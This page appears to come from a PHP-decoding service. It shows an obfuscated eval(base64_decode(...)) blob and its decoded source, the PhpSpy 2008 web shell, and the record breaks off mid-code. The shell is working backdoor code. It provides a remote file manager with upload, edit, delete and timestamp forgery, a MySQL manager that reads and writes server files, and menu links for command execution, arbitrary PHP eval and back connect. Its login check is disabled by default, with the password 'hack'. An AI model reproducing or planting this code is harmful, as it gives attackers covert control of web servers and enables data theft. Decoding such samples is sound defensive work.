Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode('PD9waHANCg0KDQplcnJvcl9yZXBvcnRpbmcoNyk7DQoNCkBzZXRfbWFnaWNfcXVvdGVzX3..
Decoded Output download
<?php
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);
foreach(array('_GET','_POST') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != '_') {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}
/*===================== ???? =====================*/
$admin = array();
// ????????, true ?????, false ?????.???????
$admin['check'] = false;
// ????????,???????
$admin['pass'] = 'hack';
//??? cookie ?????????, ??????, ???????, ???????
// cookie ??
$admin['cookiepre'] = '';
// cookie ???
$admin['cookiedomain'] = '';
// cookie ????
$admin['cookiepath'] = '/';
// cookie ???
$admin['cookielife'] = 86400;
/*===================== ???? =====================*/
if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
header("content-Type: text/html; charset=iso-8859-2");
}
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== ???? =====================*/
if ($action == "logout") {
scookie('phpspypass', '', -86400 * 365);
p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
exit;
}
if($admin['check']) {
if ($doing == 'login') {
if ($admin['pass'] == $password) {
scookie('phpspypass', $password);
p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
exit;
}
}
if ($_COOKIE['phpspypass']) {
if ($_COOKIE['phpspypass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== ???? =====================*/
$errmsg = '';
// ??PHPINFO
if ($action == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
} else {
$errmsg = 'phpinfo() function has non-permissible';
}
}
// ????
if ($doing == 'downfile' && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$fileinfo = pathinfo($thefile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header('Content-Length: '.filesize($thefile));
@readfile($thefile);
exit;
}
}
// ?????????
if ($doing == 'backupmysql' && !$saveasfile) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
$result = q("SHOW tables");
if (!$result) p('<h2>'.mysql_error().'</h2>');
$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata .= sqldumptable($currow[0]);
}
}
mysql_close();
exit;
}
// ??MYSQL????
if($doing=='mysqldown'){
if (!$dbname) {
$errmsg = 'Please input dbname';
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$result = q("select load_file('$mysqldlfile');");
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//?????????,???????????__angel_1111111111_eof__??????????
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = 'Load file failed '.mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header("Accept-Length: ".strlen($row[0]));
echo $row[0];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$('goaction').action.value=act;
$('goaction').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head">
<td><span style="float:right;"><a href="http://www.4ngel.net.tr" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
</tr>
<tr class="alt1">
<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
<a href="javascript:goaction('logout');">Logout</a> |
<a href="javascript:goaction('file');">File Manager</a> |
<a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
<a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
<a href="javascript:goaction('shell');">Execute Command</a> |
<a href="javascript:goaction('phpenv');">PHP Variable</a> |
<a href="javascript:goaction('eval');">Eval PHP Code</a>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
// ??????
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
$dir = $dir.'/';
}
$uedir = ue($dir);
if (!$action || $action == 'file') {
// ??????
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
// ????
if ($doing == 'deldir' && $thefile) {
if (!file_exists($thefile)) {
m($thefile.' directory does not exist');
} else {
m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
}
}
// ????
elseif ($newdirname) {
$mkdirs = $nowpath.$newdirname;
if (file_exists($mkdirs)) {
m('Directory has already existed');
} else {
m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
@chmod($mkdirs,0777);
}
}
// ????
elseif ($doupfile) {
m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
}
// ????
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,'w');
m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
@fclose($fp);
}
// ??????
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('The original file does not exist');
} else {
$newperm = base_convert($newperm,8,10);
m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
}
}
// ??
elseif ($oldname && $newfilename) {
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.' has already existed or original file does not exist');
} else {
m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
}
}
// ????
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('The goal file has already existed or original file does not exist');
} else {
m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
}
}
// ????
elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m('The goal file has already existed or original file does not exist');
} else {
$time = @filemtime($tarfile);
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// ?????
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile).' does not exist');
} else {
$time = strtotime("$year-$month-$day $hour:$minute:$second");
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// ????
elseif($doing == 'downrar') {
if ($dl) {
$dfiles='';
foreach ($dl as $filepath => $value) {
$dfiles.=$filepath.',';
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(',',$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header('Content-type: application/octet-stream');
header('Accept-Ranges: bytes');
header('Accept-Length: '.strlen($code));
header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
echo $code;
exit;
} else {
m('Please select file(s)');
}
}
// ??????
elseif($doing == 'delfiles') {
if ($dl) {
$dfiles='';
$succ = $fail = 0;
foreach ($dl as $filepath => $value) {
if (@unlink($filepath)) {
$succ++;
} else {
$fail++;
}
}
m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
} else {
m('Please select file(s)');
}
}
//????
formhead(array('name'=>'createdir'));
makehide('newdirname');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileperm'));
makehide('newperm');
makehide('pfile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'copyfile'));
makehide('sname');
makehide('tofile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'rename'));
makehide('oldname');
makehide('newfilename');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileopform'));
makehide('action');
makehide('opfile');
makehide('dir');
formfoot();
$free = @disk_free_space($nowpath);
!$free && $free = 0;
$all = @disk_total_space($nowpath);
!$all && $all = 0;
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){
var newdirname;
newdirname = prompt('Please input the directory name:', '');
if (!newdirname) return;
$('createdir').newdirname.value=newdirname;
$('createdir').submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
if (!newperm) return;
$('fileperm').newperm.value=newperm;
$('fileperm').pfile.value=pfile;
$('fileperm').submit();
}
function copyfile(sname){
var tofile;
tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
if (!tofile) return;
$('copyfile').tofile.value=tofile;
$('copyfile').sname.value=sname;
$('copyfile').submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
if (!newfilename) return;
$('rename').newfilename.value=newfilename;
$('rename').oldname.value=oldname;
$('rename').submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$('filelist').doing.value=doing;
if (thefile){
$('filelist').thefile.value=thefile;
}
$('filelist').submit();
}
function createfile(nowpath){
var filename;
filename = prompt('Please input the file name:', '');
if (!filename) return;
opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$('fileopform').action.value=action;
$('fileopform').opfile.value=opfile;
$('fileopform').dir.value=dir;
$('fileopform').submit();
}
function godir(dir,view_writable){
if (view_writable) {
$('godir').view_writable.value=1;
}
$('godir').dir.value=dir;
$('godir').submit();
}
</script>
<?php
tbhead();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
if ($view_writable) {
p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
} else {
p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
}
p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
if (IS_WIN && IS_COM) {
$obj = new COM('scripting.filesystemobject');
if ($obj && is_object($obj)) {
$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
foreach($obj->Drives as $drive) {
if ($drive->DriveType == 2) {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
} else {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
}
}
}
}
p('</td></tr></form>');
p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
//???????????
$dirdata=array();
$filedata=array();
if ($view_writable) {
$dirdata = GetList($nowpath);
} else {
// ????
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$filepath=$nowpath.$file;
if(@is_dir($filepath)){
$dirdb['filename']=$file;
$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$dirdb['dirchmod']=getChmod($filepath);
$dirdb['dirperm']=getPerms($filepath);
$dirdb['fileowner']=getUser($filepath);
$dirdb['dirlink']=$nowpath;
$dirdb['server_link']=$filepath;
$dirdb['client_link']=ue($filepath);
$dirdata[]=$dirdb;
} else {
$filedb['filename']=$file;
$filedb['size']=sizecount(@filesize($filepath));
$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$filedb['filechmod']=getChmod($filepath);
$filedb['fileperm']=getPerms($filepath);
$filedb['fileowner']=getUser($filepath);
$filedb['dirlink']=$nowpath;
$filedb['server_link']=$filepath;
$filedb['client_link']=ue($filepath);
$filedata[]=$filedb;
}
}// while
unset($dirdb);
unset($filedb);
@closedir($dirs);
}
@sort($dirdata);
@sort($filedata);
$dir_i = '0';
foreach($dirdata as $key => $dirdb){
if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
p('<td nowrap>'.$dirdb['mtime'].'</td>');
p('<td nowrap>--</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
p('</tr>');
$dir_i++;
} else {
if($dirdb['filename']=='..') {
p('<tr class='.bg().'>');
p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
p('</tr>');
}
}
}
p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
makehide('action','file');
makehide('thefile');
makehide('doing');
makehide('dir',$nowpath);
$file_i = '0';
foreach($filedata as $key => $filedb){
if($filedb['filename']!='..' && $filedb['filename']!='.') {
$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
p('<td nowrap>'.$filedb['mtime'].'</td>');
p('<td nowrap>'.$filedb['size'].'</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
p('<td nowrap>');
p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
p('</td></tr>');
$file_i++;
}
}
p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
p('</form></table>');
}// end dir
elseif ($action == 'sqlfile') {
if($doing=="mysqlupload"){
$file = $_FILES['uploadfile'];
$filename = $file['tmp_name'];
if (file_exists($savepath)) {
m('The goal file has already existed');
} else {
if(!$filename) {
m('Please choose a file');
} else {
$fp=@fopen($filename,'r');
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents = bin2hex($contents);
if(!$upname) $upname = $file['name'];
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$('doing').value=doing;
$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
$('mysqlfile').charset.value=$('dbinfo').charset.value;
$('mysqlfile').submit();
}
</script>
<?php
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
makehide('action','sqlfile');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBName:');
makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
p('</p>');
formfoot();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
p('<h2>Upload file</h2>');
p('<p><b>This operation the DB user must has FILE privilege</b></p>');
p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
p('<h2>Download file</h2>');
p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
makehide('dbhost');
makehide('dbport');
makehide('dbuser');
makehide('dbpass');
makehide('dbname');
makehide('charset');
makehide('doing');
makehide('action','sqlfile');
p('</form>');
}
elseif ($action == 'sqladmin') {
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
if(isset($dbhost)){
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
}
if(isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
}
if(isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
}
if(isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
}
if(isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
}
if(isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
}
if ($doing == 'backupmysql' && $saveasfile) {
if (!$table) {
m('Please choose the table');
} else {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$table = array_flip($table);
$fp = @fopen($path,'w');
if ($fp) {
$result = q('SHOW tables');
if (!$result) p('<h2>'.mysql_error().'</h2>');
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT,'',$path);
m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
mysql_close();
} else {
m('Backup failed');
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = '';
foreach($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp.$key;
$valstr .= $tmp."'".addslashes($val)."'";
$tmp = ',';
}
}
if ($keystr && $valstr) {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
}
}
if ($update && $insertsql && $base64) {
$valstr = $tmp = '';
foreach($insertsql as $key => $val) {
$valstr .= $tmp.$key."='".addslashes($val)."'";
$tmp = ',';
}
if ($valstr) {
$where = base64_decode($base64);
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
}
}
if ($doing == 'del' && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM $tablename WHERE $where";
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
}
if ($tablename && $doing == 'drop') {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
if (q("DROP TABLE $tablename")) {
m('Drop table of success');
$tablename = '';
} else {
m(mysql_error());
}
}
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Manager'));
makehide('action','sqladmin');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
</script>
<?php
//????
formhead(array('name'=>'recordlist'));
makehide('doing');
makehide('action','sqladmin');
makehide('base64');
makehide('tablename');
p($dbform);
formfoot();
//?????
formhead(array('name'=>'setdbname'));
makehide('action','sqladmin');
p($dbform);
if (!$dbname) {
makehide('dbname');
}
formfoot();
//???
formhead(array('name'=>'settable'));
makehide('action','sqladmin');
p($dbform);
makehide('tablename');
makehide('page',$page);
makehide('doing');
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if($page) {
$start_limit = ($page - 1) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
//???????
$mysqlver = mysql_get_server_info();
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$highver = $mysqlver > '4.1' ? 1 : 0;
//?????
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
while($db = mysql_fetch_array($query)) {
$dbs[$db['Database']] = $db['Database'];
}
makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
$tabledb = array();
if ($dbname) {
p('<p>');
p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
if ($tablename) {
p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
}
p('</p>');
mysql_select_db($dbname);
$getnumsql = '';
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p('<form action="'.$self.'" method="POST">');
p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
makehide('tablename', $tablename);
makehide('action','sqladmin');
p($dbform);
p('</form>');
if ($tablename || ($runquery && $sql_query)) {
if ($doing == 'structure') {
$result = q("SHOW COLUMNS FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
p('<td>Field</td>');
p('<td>Type</td>');
p('<td>Null</td>');
p('<td>Key</td>');
p('<td>Default</td>');
p('<td>Extra</td>');
p('</tr>');
foreach ($rowdb as $row) {
$thisbg = bg();
